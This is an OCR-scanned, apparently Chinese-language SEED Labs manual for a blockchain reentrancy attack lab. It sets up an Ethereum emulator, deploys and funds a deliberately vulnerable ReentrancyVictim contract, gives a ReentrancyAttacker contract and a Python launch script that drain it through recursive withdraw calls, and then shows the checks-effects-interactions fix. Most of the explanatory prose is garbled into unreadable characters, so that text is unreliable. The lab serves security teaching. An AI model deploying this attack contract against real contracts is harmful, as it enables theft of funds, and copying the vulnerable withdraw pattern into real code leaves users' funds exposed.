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TEUERE M. HMNM T R # Labsetup.zip XM, MEESE 25805 B SUE . X L0 By
AT Labsetup/emulator_* SCfFJer, X AMDG64 Hlds, CfFJ44°4 emulator NN; X
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Bz EA, FATH TR EX AR S X2 i Labsetup/emulator_code C/JEHH
Python fRASA BT . BRAFRAEUE ST B SCMF, BT 2% (FEM GitHub %% SEED
Emulator FEABEBITICAND) o f B8 0 ELAs A&l AME R Python MRASIFA % B & A0 B 4% 3
.

AT ACERAE, FEDG ELgR ERIE A TR X HLBE(E I Y2 Proof-of-Authority  (PoA) FAHPMY, 1A
JETE MAINET H{ii 1) Proof-of-Stake tpi. SEH6 A1 16 SIAM AT A 4 2L R L

Baisids. #EA emulator SUFJE, IzfTPAR docker A& AN EFIR B A AN . NS H S
J2AE SEED VM [ G514 . R EARZMH SEED VM, 1] AE R IG a4 .

$ dcbuild # B4 docker-compose build
$ dcup # B4 4 : docker-compose up

FATEWAEAEARALE) SEED Ubuntu 20.04 FEHWLTE T EA, (AAEZSE T docker FRAFAY-H
Ubuntu 20.04 #4E R4 LI THRAEEASH ML X TR EIERGRA, docker-compose M4l
B F] docker fipHr, FATLAMH] "docker compose" #/{ docker-compose iZ4TE . BE#H A PAM
SEERE) docker T/ WIRACR IR AR E SEED LI, B - FHHEHEw EZ.

JiE ARt G GiatT. XA IAT S, RATEE 72 %A g LRI shell, ¥5E, &
MIFEM A docker ps fir S RAREBIZAFW ID, SRIEMH docker exec FEIZZA AT LIEZ—1 shell, &
I1#E .bashre SCAHHIAIE T 514

$ dockps // B4k : docker ps —-format "{{.ID}} {{.Names}}"
$ docksh <id> // %4 4 : docker exec -it <id> /bin/bash

/1 T ABIH AT hostC EFKHL shell
$ dockps

b1004832e275 hostA-10.9.0.5
Oaf4ea7a3e2e hostB-10.9.0.6
9652715c8e0a hostC-10.9.0.7

$ docksh 96
root@9652715c8e0a: /#

// EE: R docker HrAFEAHE ID, LA EEMATEHN ID,
// BMNWE S —HMOTUNT, RE@E—ILR—/ ID %AT-

USRS B SRR B E A, 33 B S P A R LD S AR B T 5

Pl piseds.  EEIROTES, ROTATEILTA AR . AT AR E]1247 "docker-compose up" fif 4>
A& S, A Cerl-Co XCKHE I BaEA S MERENT, Bl T i Bds U3 s 0R 8 L I ml LA i PR
1247 "docker-compose up" KKK AAFHIBAT  WERFA LM EREAT, W] LAZAT "docker-compose
down" fir %o 73— M ERITH— AR L (HAIIMLTE emulator SR, BHEIBTZM L. X
REPE I FF IR B A 2 8%


https://github.com/seed-labs/seed-labs/blob/master/manuals/docker/SEEDManual-Container.md
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$ dcdown # B4 docker-compose down

EtherView. JRATEEL T —4~44°4 EtherView Hfij s Web IV HFET, PAR/RXEEE ERTES. Wik
RS R, FRvbads (FE VM 1) 48[ http://localhost:5000/. 7E Blocks HUEHY, &
AT DAE BB B KL A ) o SR N B T, WIRKBRZREN, ARSI .
—HEANIF IR KRS, OV ZRESERIEA]. BTkt KR 5 kA A e A TR 5 B

2.2 & aflis

EPAKIEM S B N MLk, A Remix, Metamask il Hardhat %34 TH, 754
SR, FRATEREH O Python 27, %FEF T web3.py FERSEMACH . h T RiLEAE, 1%
B —Se KA, FERFEATSEAE SEEDWeb3. py SUIF . FEASLIR IR ZBURGIRR T, FATECRE
XA . BT M SRR AU ASES 1T DAZE Labsetup Hsg R4k %,

web3.py JEATE SEED Ubuntu 20.04 VM 4245, 2E AR TR . AT ELHE—IHMR
ARE) web3 FE (HUA 5.31.1), HHATWRIRE ILEZ T SR s

$ pip3 install web3==5.31.1

2.3 EEPIXDBE

AR B AT A2 B A 2 H b ) — A ROR IR XA T A HTTP 8 WebSocket 51X
By SR RN RS, A DAY S EEE T T HTTP ks, BEEEEIEA
WA, BATAFERBEZEA U 1P HUhb A 15 8545, AR @ i3 B H b — A4y S R il

# HEE| geth ¥R
web3 = SEEDWeb3.connect_to_geth_poa('http://10.150.0.71:8545"')

2.4 WKy

N THERYGE ERGEA S, BATHE—EEK (GIRHAPIRFAG]) M, XKk nAif
RGBS S5 T gas B FEREASPAKI RLE, BATE LB TILHA RBHIK S
FA TR X LR PRI TR Ty - R AKI T 5, FATAT LA web3. eth.accounts [1 $41%
Vi AT A P . 72 R R B, FRATES T web3.eth.accounts [1] M THAE. FEMFEARF, T
A (RFFEEATRRL) FRME R, AEUK 2% adnin, FIk, TEITHAEAIK 2
i, BATE ST E IR EEIE

sender_account = web3.eth.accounts[1]

web3.geth.personal.unlockAccount (sender_account, "admin")

T HRBUK R R R, ROHEME T — 48 get_balance.py i Python 2)7, %ARFATHIHS
AT S LA K R Bl A web3. py FEHY AP RECBIHIIRE. PAR 2L 8y

web3.eth.get_balance(Web3.toChecksumAddress (address))


http://localhost:5000/
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3 S 1 AZZHLERRGY

PA AR @ FATRIRF B H s, — MR R A L. XNE2ME 2 HEEGY, HIEEM
BF—AH PR AR S AT E R AR, H H Al DHEZ G iR 6. %A 2R
A7 T Labsetup/contract H3g .

Listing 1: The vulnerable smart contract (ReentrancyVictim.sol)

//SPDX-License-Identifier: UNLICENSED
pragma solidity ~0.6.8;

contract ReentrancyVictim {

mapping (address => uint) public balances;

function deposit() public payable {
balances [msg.sender] += msg.value;

function withdraw(uint _amount) public {

require(balances[msg.sender] >= _amount);

(bool sent, ) = msg.sender.call{value: _amount}("");

require(sent, "Failed to send Ether");

balances[msg.sender] -= _amount;

function getBalance(address _addr) public view returns (uint) {

return balances[_addr];

function getContractBalance() public view returns (uint) {

return address(this) .balance;

“w

DL 4 MR T 2 A A BRSO TN R B TR, VR, AR Bk D R R T i
B R BRI

o deposit(): LKA LEA BRHBA T AR AEAR REG LRI R, 243 ek B il ] 1
msg . sender { & A A K AL, nsg. value S MMNTAE AR AR TR . MRS EH—4
%4 balances EHRZEH , X 2R AEALNEBLET I — D REER.

HTZ RO A payable IEUi4F, B R ERFLUCAKTIIRE ST 24 R IR AKX ik,
B IRBUR HIER . X REU TR RS AR P RPA AR TG, EROCRAE A
XHBER K i .
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+ getBalance(): WAHMHE—MHUALIENSH, THRIEZHUALAE R BEA 20 F 1 DA K A

o getContractBalance(): JpREUR [ GEAAR B R, XAREEH XEEAR G4, Kt
AT LB X kR BE B, A TE XA R, ISR A 29 1E A 5 T H R A
%, B2 BRENARGET R I REE.

o withdrawO : ZREEEZ NS4, R A BRI AR MR . EMSET R TR
NAERRBCEEBIF N T msg. sender, pR R I A RESRIBGE Hh HAE R BE A 20 HRAA R LAK T . B
B — A ST AR N F R G TR . ARF R LUK T I A AR, 2y
FFAEIAT . WERRE A, SRR R B S BRI AR T . AR TSR call
XAMEG R LR ST, B RES LM N R BRSO, PUAIR P AR LUK T, KR
HEth o A S EZ B RE G LK R X BRBUAE N EAN, X2 R 2R H 2
o ARG R R s 17 5

3.1 fF55 l.a: GiikHe)

1E Solidity FIBHIA T, C&A THIEA BRI K. HL, FATREH—MIHRCA 0.6.8
KA. ZiiFAY (solc-0.6.8) fii T contract Ht K. FATHLAEIL AN v RIS L.

501c-0.6.8 --overwrite --abi --bin -o . ReentrancyVictim.sol

G 1 52 U REAE U SO bin SCPFAT abi SUfF. bin SUAHUE T &A% 1FE RIS, X LEACRD
TEFAPERE G AFEAE K REE B abi SCPHURM AR —dtHln, W& 7 E200 APL{EE. X4
MG GLABATERY, XEFEERMHR, W5 BT AR B 28 SR b .
3.2 1% 1L.b: ¥WEZELEHLY

AL, BARHEZ EEGLMED XEE b, S P RIEZ 2R, fEARSR T,
FATEFEMN B C M Python FEfPdbf il . MHRIFEF LI H1E Labsetup/victim HXR .,

Listing 2: #FH%ZEHGZ) (deploy_victim_contrac.py)

abi_file = "../contract/ReentrancyVictim.abi"

bin_file

"../contract/ReentrancyVictim.bin"

# HHF| geth F R
web3 = SEEDWeb3.connect_to_geth_poa('http://10.150.0.71:8545")

# RAIEHA web3.eth.accounts[1] AR #E#&, EBACHAESHUKT
sender_account = web3.eth.accounts[1]
web3.geth.personal.unlockAccount (sender_account, "admin")
addr = SEEDWeb3.deploy_contract(web3, sender_account,

abi_file, bin_file, None) @
print("Victim contract: {}".format(addr))
with open("contract_address_victim.txt", "w") as fd:

fd.write(addr)
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PR E G 2R TS 7E SEEDWeb3 P (Line @ Wiy ) . LATFARS B TRA TSR, BR
P 29H) abl FFIAAIE T4 Contract JESLHY, MRJ5lidiX LB G EH Kk — A5 5 Kk E
SR

contract = web3.eth.contract(abi=abi, bytecode=bytecode)

contract.constructor(...).transact({ 'from': sender_account })

3.3 M£% l.c: HZHAADRA

BT ETBG , BATEMN L] PR P X NS AFA RS (25, BEhE R 5 Bux sy
). ﬁﬁfﬂ@,/\f fund_victim_contract.py X, FEIZAH, ABE victim_addr(#E®) HT4%
FELWHEE, 2242 752 TR E AP B v SE PR AR 1) A UMb B 4z 8 S i . FRATEEMN —1PAK
AT GRS A, XA, AVER T IP Hihikh 10.151.0.71 BT 5L, 2#2E AT AR
P H ORI DL A A

Listing 3: ff4% (fund_victim_contract.py)

abi_file = "../contract/ReentrancyVictim.abi"

victim_addr = 'Ox2c46e14f433E36F17d5D9b1cd958eF9468A90051' O

# HEEFRANM geth ¥, BBEREFIKF
web3 = SEEDWeb3.connect_to_geth_poa('http://10.151.0.71:8545")
sender_account = web3.eth.accounts[1]

web3.geth.personal.unlockAccount (sender_account, "admin")

# HZXEFEHTANUKT
# WA EME A E T T EREN
contract_abi = SEEDWeb3.getFileContent(abi_file)
amount = 10 # ¥ {7 Fether
contract = web3.eth.contract(address=victim_addr, abi=contract_abi)
tx_hash = contract.functions.deposit().transact({

'from': sender_account,

'value': Web3.toWei(amount, 'ether')

b

print("Transaction sent, waiting for the block ...")
tx_receipt = web3.eth.wait_for_transaction_receipt (tx_hash)

print("Transaction Receipt: {}".format(tx_receipt))

FMT AT A G RIS 2, TR/ R PR T A AL PR 1 ASPAKT, TN
FEBUG KB FH T AR

Listing 4: $2£H¥ 4> (withdraw_from_victim_contract.py)
amount = 1

contract = web3.eth.contract(address=victim_addr, abi=contract_abi)

tx_hash = contract.functions.withdraw(Web3.toWei(amount, 'ether')).transact({
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'from': sender_account

b

tx_receipt = web3.eth.wait_for_transaction_receipt (tx_hash)

# RS ARH R AT B R TR P R
myBalance = contract.functions.getBalance(sender_account).call()

print("My balance {}: {}".format(sender_account, myBalance))

FHAESs WA HEEGLTAEA 30 ALAKT, SRS AR5 ASPAKT, HATENH G200k i &
.

4 E% 20 Thitd

N TR EEGNTMEALGE, Bl BaiE ol s RTINS e G2, fERRBBET,
M af it T XU G ARR B, HAC I PR

Listing 5: The attack contract (ReentrancyAttacker.sol)

//SPDX-License-Identifier: UNLICENSED
pragma solidity ~0.6.8;

import "./ReentrancyVictim.sol";

contract ReentrancyAttacker {
ReentrancyVictim public victim;

address payable _owner;

constructor (address payable _addr) public {
victim = ReentrancyVictim(_addr);

_owner = payable(msg.sender) ;

fallback() external payable {
if (address(victim) .balance >= 1 ether) {

victim.withdraw(1l ether);

function attack() external payable {
require(msg.value >= 1 ether, "You need to send 1 Ether when attacking");
victim.deposit{value: 1 ether}();

victim.withdraw(1 ether);

function getBalance() public view returns (uint) {
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return address(this).balance;

function cashOut(address payable _addr) external payable {
require(msg.sender == _owner);

_addr.transfer (address(this) .balance);

[}

XSG P B R attack ) T fallback (), FRATHFEEAN I ] 1) i £ ek KOk 57 B
ZEECAPHIA RS,

ERBUEEE NG, WELRWA attack O WEOFIZAARERED 1 ALUKT. attack()
PREGE S T 32 HE G2 deposit O WAL, F 1 MAKNTIFAZEE AL AR E)G, L& G4
KL FE G YRR L APART . XA R T EALGE, 1EATE— T4 withdraw()
PRBBIR A S KA, UM RZEE AL withdrav O AR,

function withdraw(uint _amount) public {

require(balances [msg.sender] >= _amount); @

(bool sent, ) = msg.sender.call{value: _amount}(""); @

balances [msg.sender] -= _amount; ®

Line @ M3 %X 1A% (nsg. sender) EEIIA BB IIRBLATENA S (WEREA , WHKRIL),
msg.sender WM GLRMIE. hT2HFEHEGLRABEEELIAME, A nsg.sender Sz B2
Bt A 2y

W RS, GAEAMH nsg.sender. call ARFRELERAILAKRT (Line @ ), XL
FERCR LAK T %34 7] msg. sender, BIMGE G2, X AT IER L4 e

WHERFILT , B REG2lId EiREOR N & (R ifE Y] i payable), (HALRPTEAR
LR R R Ok ) (a0, S — AN call O g, WS ERAR fallback O
PRAL. AN BER THGL &R fallback ) pRAR.

fallback() external payable {
if (address(victim) .balance >= 1 ether) { ®

victim.withdraw(1l ether);

EER B KT withdrawO) B8, T2 HH GANABELEEEY (£ Line © ) |
BRI 0 A E 2R, TR 23T Line © B9 RMREE, SO TR & 1ok & 20
fallback() R, HETT PRI ZEE G200 withdrawO) B TR RWIRST, HE2EY
SHMATIET 1 ALKT (Line ® ). LUF 2SS
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withdraw --> fallback --> withdraw --> fallback --> withdraw ...

1155, EAES P RFEMELL 4. AIME 244t B 5HE 2 HFEGAM ML F2E
R, Bl B A AU 32 3 5 B IR BRI DA IE B AT Bt o IR, 22 75 28X deploy_attack_contract.py
RISHEATH R AR, SRS T EH A AR IR L

5 fE55 3 KlH ALl

N PATIGE, BATRFER WA A0 attack O KA (R IR, RAIFE N &L%
B 1APART, Bl GAKIEXNARTEAAREEGY, SWEHIENZEE G PRIEE.
SR BCE PR AN RS (AR R ), (EEE RSSO Tl & 2

Listing 6: The code to launch the attack (deploy_attack_contract.py)

abi_file = "../contract/ReentrancyAttacker.abi"
attacker_addr = 'put the correct address here'
# KR

contract_abi = SEEDWeb3.getFileContent (abi_file)
contract = web3.eth.contract(address=attacker_addr, abi=contract_abi)
tx_hash = contract.functions.attack().transact({
'from': sender_account,
'value': Web3.toWei('1l', 'ether')
19)

tx_receipt = web3.eth.wait_for_transaction_receipt (tx_hash)

print (" Yk : {}".format (tx_receipt))

R B s I E S Y By B T2 HE G AR R4, ATPAFI get_balance.py M
ASRITENAERE KRR, PAGET 42 Ik P A8 b, TEMII g U A &2 )5, ARAT AT
cashout.py JHIARFHE G NI F RE & L B8 2| Bt 2 1 il 0 5 — Sk

6 LS5 4: MWK

AT AT DA R 0 8 BE A AP IHE R AT, A 26803 T AS% 2] TIHEAIE R
Horp—FE W RSB ORI SRS BB 3 K AEAE AR T A (BTSN ) 2 Fi. 1652
FEELA, KRB HLS RSN Z SR, FrPARER AR ], RECREA SE . fERRE
BT, — AU TSR A A Rk 1) SR 7 SR s ek B AR DA T B e ik A T, 3
MITEREFR A checks-effects-interactions fHz,

XN, AT MR A G HEZ . S IAIRG, Bz EE AL, RIEHREIRIL
i, HREIRIPEE R

function withdraw(uint _amount) public {

require(balances [msg.sender] >= _amount);
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balances[msg.sender] -= _amount;

(bool sent, ) = msg.sender.call{value: _amount}("");
require(sent, "Failed to send Ether");

}

WA BB Solidity MUAT 2N E TH X EATGERILRY, SR 7 SO s f 45 s R i 401
TEPAKYS GitHub Y, A — T8 https://github. com/ethereum/solidity/issues/12996
TEAIPIE T X —Hrtk . WARARAGE X N idndetE, W 5IRATICER, PAEIRATRT DAE T 31X LELRIPHL I
In—SEAH Y SE g AT 55

7T B

VR T EEHRAZ— 131 A A ] B T S A A5 R AR AR I L TAE AR B B G o ARIE TR 2R —
SRR N AR LSS SR AT AR . i [ IS ) ) T ) ACRS BT P AR . U fry P bt B ACAD
ANIMCAREREA 23052453 -

gt
ARSI TR S HEEURIE RBFJEE Rawi Sader MIHFBIFHF &1

525 3CHk
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